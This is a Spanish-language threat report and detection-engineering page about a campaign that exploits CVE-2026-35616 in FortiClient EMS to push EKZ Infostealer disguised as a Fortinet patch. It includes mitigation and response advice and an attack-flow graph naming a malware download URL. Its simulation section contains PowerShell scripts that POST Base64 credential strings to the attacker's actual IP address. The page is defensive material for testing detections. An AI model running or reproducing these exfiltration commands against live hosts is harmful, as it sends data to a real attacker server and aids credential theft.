FortiClient EMS Explotado vía CVE-2026-35616 para Entregar EKZ Infostealer Disfrazado como un Parche de Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Arctic Wolf identificó una campaña que explotaba CVE-2026-35616 en FortiClient EMS para distribuir un script malicioso de PowerShell a los endpoints gestionados. Ese script recuperó y lanzó una carga útil de robo de credenciales conocida como EKZ Infostealer mientras se hacía pasar por un parche legítimo de Fortinet. El malware recopiló contraseñas de navegadores, cookies e información de autocompletado, y luego exfiltró los datos robados a través de HTTP. Al abusar de los canales de configuración de EMS de confianza, los atacantes pudieron ejecutar la carga útil rápidamente a través de múltiples dispositivos gestionados.
Investigación
Los investigadores recrearon el exploit enviando solicitudes HTTP no autenticadas especialmente creadas a las APIs de FortiClient EMS, lo que resultó en cambios de configuración que insertaron scripts maliciosos. Las trazas de ejecución mostraron fortitray.exe or ipsec.exe generando cmd.exe, que a su vez lanzó un comando PowerShell codificado en Base64 que descargó p.exe desde una dirección IP maliciosa. La carga útil escribió un log.txt archivo en ProgramData, envió los datos capturados de vuelta al mismo servidor y luego se eliminó a sí mismo.
Mitigación
Las organizaciones deben actualizar FortiClient EMS a una versión que solucione CVE-2026-35616 y restringir el acceso a la API a direcciones IP de origen aprobadas. Los defensores también deben revisar los registros de EMS en busca de errores relacionados con certificados y cambios inesperados en los Perfiles de Acceso Remoto. El tráfico HTTP saliente de los endpoints a direcciones IP desconocidas debe ser bloqueado, y la ejecución de scripts dentro de los flujos de trabajo del perfil VPN debe ser limitada a través de controles de privilegios mínimos.
Respuesta
Si se detecta esta actividad, aísle inmediatamente los hosts afectados, revoque cualquier cuenta no autorizada de EMS que pueda haber sido creada, y elimine los archivos de script maliciosos del directorio de registros de FortiClient. Los investigadores deben preservar el log.txt artefacto, calcular hashes de los binarios maliciosos y buscar indicadores coincidentes en todo el entorno. Las credenciales de navegador expuestas deben ser restablecidas, y los equipos deben monitorear cualquier actividad de autenticación sospechosa que pueda seguir al robo.
"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Acción</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 en FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Proceso</b> – Solicitudes API no autenticadas procesadas como acciones administrativas privilegiadas"] class process_api_requests process action_cmd_launch["<b>Acción</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe lanzan cmd.exe"] class action_cmd_launch action action_powershell["<b>Acción</b> – <b>T1059.001 PowerShell</b><br/>Ejecución de script de PowerShell codificado en Base64"] class action_powershell action technique_obfuscation["<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b><br/>Carga útil entregada como base64"] class technique_obfuscation technique technique_decode["<b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Archivos o Información</b><br/>Decodificación de base64 en tiempo de ejecución"] class technique_decode technique action_download["<b>Acción</b> – <b>T1570 Transmisión Lateral de Herramientas</b><br/>Descargar FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>Archivo</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Alojado en http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Acción</b> – <b>T1203 Explotación para Ejecución del Cliente</b><br/>Ejecución silenciosa del binario descargado"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Recoge credenciales, cookies, datos de autocompletar"] class malware_infostealer malware technique_cred_access["<b>Técnica</b> – <b>T1555.003 Credenciales desde Navegadores Web</b>"] class technique_cred_access technique file_log["<b>Archivo</b> – C:ProgramDatalog.txt<br/>Almacenamiento de datos recopilados"] class file_log file action_exfil["<b>Acción</b> – <b>T1567 Exfiltración a través de Servicio Web</b><br/>HTTP POST al servidor del atacante"] class action_exfil action action_cleanup["<b>Acción</b> – <b>T1564 Ocultar Artefactos</b><br/>Eliminar archivos maliciosos y registro"] class action_cleanup action %% Connections action_initial_access –>|conduce_a| process_api_requests process_api_requests –>|desencadena| action_cmd_launch action_cmd_launch –>|ejecuta| action_powershell action_powershell –>|usa| technique_obfuscation technique_obfuscation –>|requiere| technique_decode action_powershell –>|descarga| action_download action_download –>|recupera| file_payload file_payload –>|ejecutado_por| action_execute action_execute –>|corre| malware_infostealer malware_infostealer –>|realiza| technique_cred_access malware_infostealer –>|escribe| file_log file_log –>|enviado_por| action_exfil action_exfil –>|seguido_por| action_cleanup action_cleanup –>|elimina| file_payload action_cleanup –>|elimina| file_log "
Flujo de Ataque
Detecciones
Nombre Corto de Archivo (mediante cmdline)
Ver
Uso sospechoso de CURL (mediante cmdline)
Ver
Llamar métodos sospechosos de .NET desde Powershell (mediante powershell)
Ver
Posible actividad de transferencia de Bits (mediante powershell)
Ver
IOCs (HashSha256) para detectar: FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer disfrazado como un parche de Fortinet
Ver
IOCs (HashSha1) para detectar: FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer disfrazado como un parche de Fortinet
Ver
IOCs (HashMd5) para detectar: FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer disfrazado como un parche de Fortinet
Ver
IOCs (SourceIP) para detectar: FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer disfrazado como un parche de Fortinet
Ver
IOCs (DestinationIP) para detectar: FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer disfrazado como un parche de Fortinet
Ver
Exfiltración de credenciales de EKZ Infostealer vía HTTP POST [Conexión de Red de Windows]
Ver
FortiClient EMS explotado a través de CVE-2026-35616 para entregar EKZ Infostealer [Creación de Procesos de Windows]
Ver
Ejecución de PowerShell vía FortiClient para entregar EKZ Infostealer [Powershell de Windows]
Ver
Ejecución de Simulación
Prerequisito: La verificación previa de Telemetría y Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.
-
Narrativa del Ataque y Comandos:
El atacante ha cosechado previamente credenciales del registro de Windows (familia T1216) usando EKZ Infostealer. Para exfiltrar el blob recopilado, el malware lanza una línea de PowerShell que realiza un POST de las credenciales codificadas en Base64 a su servidor de comando y control en83.138.53.110. El uso de PowerShell (Invoke-WebRequest) es una técnica clásica de vivir sobre la tierra que evade las detecciones basadas en binarios mientras produce telemetría de red observable por el cortafuegos.powershell # Carga de credenciales simulada (Base64 de "usuario:contraseña") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrador:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Script de Prueba de Regresión: Este script de PowerShell autocontenido reproduce el paso de exfiltración y puede volver a ejecutarse para futuras regresiones.
powershell <# .SYNOPSIS Simulación de exfiltración de credenciales de EKZ Infostealer (HTTP POST). .DESCRIPTION Genera un blob de credenciales falso, lo codifica, y lo envía a través de POST al IP malicioso conocido utilizado en la regla de detección. .NOTES Requiere HTTP saliente permitido a 83.138.53.110 en el puerto 80. #> # ---- Preparación ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Ejecución ---- try { Write-Host "[*] Enviando blob de credenciales a $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] Estado HTTP:" $resp.StatusCode } catch { Write-Error "[-] POST fallido: $_" } # ---- Fin del script ---- -
Comandos de Limpieza: No se crean artefactos persistentes en el disco, pero para ser exhaustivo, cerramos cualquier sesión de solicitud web persistente y limpiamos la variable de PowerShell.
powershell # Limpiar variables y cerrar cualquier sesión web abierta Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Limpieza completa."